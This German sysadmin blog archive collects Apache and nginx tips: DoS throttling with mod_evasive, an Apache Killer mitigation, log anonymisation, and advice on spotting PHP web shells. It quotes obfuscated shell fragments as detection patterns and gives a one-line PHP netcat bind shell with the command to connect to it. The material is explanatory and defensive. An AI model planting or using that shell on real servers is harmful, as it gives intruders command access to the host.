Tag Archives: apache

Kurztipp: Apache Maintenance

Ein recht einfacher Weg den Webserver in den “Temporarily Unavailable” Modus zu versetzen.

RewriteEngine On
RewriteCond %{ENV:REDIRECT_STATUS} !=503
RewriteCond "/var/www/hallo" -f
RewriteRule ^(.*)$ /$1 [R=503,L]

Dabei wird zur Laufzeit überprüft ob die Datei /var/www/hallo existiert. Falls dem so ist wird die Fehlerseite angezeigt. Das geht natürlich auch mit “!-f”. Die Möglichkeiten sind dabei recht vielfältig.

längerer Kurztipp: Schutz gegen einfache DOS Attacken mit mod_evasive

Ein alter Hut, ich kannte es bis heute nicht. Mit mod_evasive kann man einfache DOS Angriffe blocken. Getestet mit dem guten, alten Squeeze.

$ apt-get install libapache2-mod-evasive
$ a2enmod mod-evasive
$ zless /usr/share/doc/libapache2-mod-evasive/README.gz
$ mkdir /var/log/mod_evasive
$ chown www-data /var/log/mod_evasive
$ ln -s /usr/bin/mail /bin/mail

$ joe /etc/apache2/mods-available/mod-evasive.conf

<ifmodule mod_evasive20.c>
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 10
DOSLogDir /var/log/mod_evasive
DOSEmailNotify thisis@waste.land
DOSWhitelist 127.0.0.1
</ifmodule>

$ ln -s /etc/apache2/mods-available/mod-evasive.conf /etc/apache2/mods-enabled/mod-evasive.conf
$ /etc/init.d/apache2 reload

Zum testen einfach mal irgendeine Seite aufrufen und ein paar mal schnell F5 drücken bis man ein 403 Forbidden erhält. Dann im logdir schauen und eigentlich sollte man auch eine mail bekommen. Im syslog sollte ein Eintrag der Art
Mar 14 11:36:15 webserver  mod_evasive[15723]: Blacklisting address 123.123.123.123: possible DoS attack
aufauchen.
Mit DOSSystemCommand kann man noch einen Befehl definieren, der ausgeführt werden soll wenn eine IP geblockt wird, also z.B. iptables Regel zum sperren der IP (“sudo /sbin/iptables -A INPUT -s %s -j REJECT“) oder was auch immer.
Die Meinungen zum Einsatz von mod_evasive gehen etwas auseinander, daher sollte man es erst mal  unter Beobachtung laufen lassen und am besten vorher mal ein bisschen googlen.
Zusammen mit HAproxy oder Nginx als Reverseproxy funktioniert mod_evasive nicht. Da kann man sich  mal das Nginx Modul HttpLimitReq anschauen. mod_evasive blacklisted zwar die IPs, mehr aber leider nicht.

Links:

http://www.linux-magazin.de/Ausgaben/2005/12/Friede-im-Indianerland

http://pc-freak.net/blog/secure-apache-against-basic-denial-of-service-attacks-with-mod_evasive-on-debian/

http://spielwiese.la-evento.com/xelasblog/archives/56-Apache-DOS-Attacken-erschweren-mit-mod_evasive.html

Apache Killer Abwehr

Ohne Gewaehr. Sinnig wenn man mehre Vhosts hat und nicht jede vhost.conf anpassen will. Gefaellt mir besser als die Rewrite Workarounds.

in /etc/apache2/conf.d

eine Datei fix.conf anlegen mit folgendem Inhalt:

SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range

danach

a2enmod headers

und

/etc/init.d/apache2 restart

Waere gut wenn das jemand validieren koennte. Bei mir funktioniert es jedenfalls.

Links:

Keine IPs mehr im Apache Log

Man kann ja vieles tun um die IPs aus den Access Logs des Apaches zu anonymisieren:

1. die Logs vor dem Schreiben in ein Skript pipen http://www.zendas.de/technik/sicherheit/apache/index.html
2. via Apache Modul mod-removeip http://www.wirspeichernnicht.de/content/view/14/24/
3. Diverse Skripte via cron laufen lassen um die IPs loszuwerden
4. Logformat anpassen
5. Bestimmt noch 42 andere Moeglichkleiten

Hat alles seine Vor- und Nachteile. mod-removeip klingt ja erst einmal gut, leider funktioniert dadurch die IP basierte Zugriffskontrolle nicht mehr, aber immerhin sind auch die IPs im Errolog unkenntlich. Via log-in-Skript-pipen die letzten Ziffern anonymisieren, klingt auch nett, fuehrt nur dazu, dass pro vhost mind. ein extra Prozess laeuft. Wodurch eventuell Dinge wie ulimit -n 2048 noetig werden und es zu einer gewissen Unuebersichtlichkeit bei der Prozessliste kommen kann. Bei ein paar Vhosts sicherlich kein Problem, bei etlichen hundert leider schon. Die IPs mit Hilfe eines Skripts zu vorgegebenen Zeiten zu “saeubern”, vielleicht sogar gleich mit logrotate verbinden…auch ok, aber im “Nachhinein anonymisieren” gefaellt mir auch nicht.  Ueber das LogFormat kann man die IPs nicht so richtig anonymisieren, aber man kann einfach aus

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

machen.  Schon sind wir die IPs in den Accesslogs los. Funktioniert natuerlich keine logbasierte Zugriffsanalyse mehr und auf den Errorlog IPs sitzen wir immer noch. Errorlogs kann man natuerlich nur im Bedarfsfall aktivieren und ansonsten einfach nach /dev/null schicken.
Alles nicht so einfach. Fuehrt eigentlich zu der Einsicht: Wenn Du keine Logs brauchst, produziere keine.
Als Alternative kann man natuerlich Software wie z. B.  Piwik nutzen, natuerlich mit AnonymizeIP Plugin. Damit hat man wenigstens den Bedarf an Accesslogs erschlagen.

php shells

Wer Webserver fuer eine groessere Anzahl an Benutzern betreibt, wird wohl oder uebel mit Php Shells konfrontiert werden.
Einen 100% zuverlaessigen Schutz gibt es natuerlich nicht. Ein paar einfache Moeglichkeiten den Schaden in Grenzen zu halten gibt es jedoch:

  • open_basedir Direktive fuer vhosts nutzen
  • Web und File Server trennen, besonders wenn sinnfreier Weise ssh erlaubt ist
  • Beobachten was fuer neue Dateien (auch Besitzerrechte, ggf. nach Mustern grepen) und wann sie angelegt wurden (klingt aufwendiger als es ist)
  • Falls man eine shell findet, zeit nah nach Pattern daraus auf dem Fileserver suchen
  • clamav laufen lassen

Shells gibt es sowohl im Klartext, als auch in gepackter Form.

Also etwas in der Art wie

<? eval(gzinflate(base64_decode('7X1rcxs5kuBnd0T/B7...

oder klassisch etwas wie

$language='ru';
$auth = 0;
$name='r57'; // knchm onk|gnb`rek?  (user login)
$pass='r57'; // o`pnk| onk|gnb`rek? (user password)

Die Dateien werden entweder hochgeladen oder ueber cross-site scripting aufgerufen.

Es gibt eine ganze Reihe solcher Php shells: r57, c99, c100, madshell, small php web shell, nst shell, php bypass shell, sim attacker shell, safe0ver bypass shell….
Klar worauf ich hinaus will? Diese shells existieren in unterschiedlichen Versionen und Anpassungen. Der Funktionsumfang der shells reicht dabei vom einfachen Kommando ausfuehren, bis hin zu irc remote und checks auf bestimmte Sicherheitsluecken und vieles mehr.
Kurz gesagt: ist das System nicht aktuell und man findet eine solche Shell, steigen die Chancen auf eine Kompromittierung des gesamten Systems. Einen local root exploit nachzuladen und auszufuheren ist kein grosser Aufwand.

Was tun wenn der Einbruch festgestellt wurde?
Da gibt es sicherlich eine Reihe von Vorgehensweisen, die empfohlen werden. Als ersten Schritt wuerde ich immer den entsprechenden vhost deaktiveren, die Dateien aber nicht loeschen sondern untersuchen (am besten auf einen anderen System). Sich selbst anschauen was fuer Funktionen die Shell bietet, also ruhig ausprobieren was man damit alles so anstellen kann, das hilft den moeglichen Schaden einzuschaetzen. Natuerlich den Vhost Inhaber informieren. Versuchen mit dem Vhost Administrator herauszufinden wie der Einbruch ueberhaupt moeglich war. Relativ haeufig sind nicht geupdatete CMS Systeme das Einstiegstor. Den Vhost erst wieder online nehmen wenn die Luecke gestopft ist.

Intrusion detection ist ein weites (weites) Feld. Daher beschraenke ich mich mal auf diesen kleinen Beitrag. Das man intrusion detection Systeme und diverse Monitoring tools im Einsatz haben sollte,  ist selbstverstaendlich. Es ist schwierig bei einer grossen Anzahl von Usern den Ueberblick zu behalten, trotzdem sollte man versuchen besonders CMS Systeme im Auge zu behalten und gegebenenfalls auch zentral anzubieten, bzw. upzudaten.

Sprich mit mir apache

Wer etwas mehr ueber seinen Apache wissen will als das “normale” mod-status liefert, sollte einfach mal

ExtendedStatus On

in die apache2.conf eintragen (muss im Server Bereich stehen und nicht im vhost)
und

a2enmod status

und nicht vergessen sowas wie

  <Location /_status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from 1.2.3.4
</Location>

z.B. in die

/etc/apache2/sites-available/default

einzutragen.

/etc/init.d/apache2 reload

nun

http://derollewebserver/_status

aufrufen. Ruft man die Seite mit refresh=N als Parameter auf, gibt N den refresh Intervall an:

http://derollewebserver/_status?refresh=5

Jetzt waere natuerlich eine Abfrage via cati interessant.

Kritik:

mod_status and ExtendedStatus On

If you include mod_status and you also set ExtendedStatus On when building and running Apache, then on every request Apache will perform two calls to gettimeofday(2) (or times(2) depending on your operating system), and (pre-1.3) several extra calls to time(2). This is all done so that the status report contains timing indications. For highest performance, set ExtendedStatus off (which is the default).

Link: http://httpd.apache.org/docs/2.2/misc/perf-tuning.html

Sollten also die Ressourcen knapp sein, lieber die Finger davon lassen ;-).

how to get shell access in no mans land

Eine Datei namens givemeshell.php erstellen und auf den Webserver laden, die sollte so was wie

<?php system("nc -lp 3222 -e /bin/sh"); ?>

enthalten. Danach die Datei per Webbrowser aufrufen und dann lokal

netcat webserver 3222

aufrufen. Und schon hat man unter Debian (Ubuntu sicherlich auch) eine shell als www-data.
Ich hab den Artikel erst nur überflogen, wohl weil ich damals schon einen LB eingesetzt habe und die Apache Server alle gut abgeschirmt sind. Es ist immer wieder interessant wie schnell man einfache Barrieren umgehen kann.

via nion’s blog

nginx

Ich bin ja neulich von pound zu nginx gewechselt. Erst war ich natuerlich skeptisch, weil pound sehr einfach in der Konfiguration ist und nginx doch eher in die Richtung eigener Webserver geht und dementsprechend die Konfiguration etwas mehr Zeit erfordert hat. Nginx laeuft nun seit gut einem Monat und ich bin sehr zufrieden. Die Last ist gering und die Performance sehr gut. Bei ein paar 100000 Requests am Tag, eine gute Leistung. Ach ja, vor pound hatten wir eine LB Appliance (keine F5), im Vergleich dazu faehrt man meiner Meinung nach mit Nginx besser, da man viel flexibler in der Konfiguration ist.

links:
nagios plugin fuer nginx
cacti zeugs fuer nginx

pound -> nginx

Umzug von pound nach nginx. Nginx ist schon ein bisschen…maechtiger. Aber nginx braucht laenger um den Ausfall eines backends zu bemerken (trotz proxy_connect_timeout 60, falls das der Alive Option von pound gleichkommt), bzw. bei komplett Ausfall der backends eine Fehlerseite zu liefern, das ging bei pound besser. Die Tage mal die Parameter genauer anschauen. Das access.log schaltet man uebrigens einfach mit access_log off ab.

Piwik

Nun ist es ja so eine Sache mit google. Die Dienste von google sind super, keine Frage. Nun will man aber nicht unbedingt fuer alles google nutzen. Privat setze ich google analytics ein, beruflich streube ich mich  dagegen. Wer aehnlich denkt sollte sich mal Piwik anschauen. Piwik ist sehr einfach einzurichten und zu konfigurieren, speichert default auch keine die IP Daten und sieht gut aus. Updates sind einfach zu installieren und bisher gab es keine Probleme.  Piwik kommt nicht an google ran, keine Frage, aber bei einer 0.4.1er Version muss man das auch noch nicht erwarten. Viele Sachen stoeren noch (Benutzerverwaltung, Verifizierung der Seiten und und und), aber aehnlich wie bei laconica, merkt man den Bedarf an solcher Software und die Motivation der Entwickler. Mal abwarten wie sich Piwik mit ein paar hundert virtuellen Webservern schlaegt.

piwik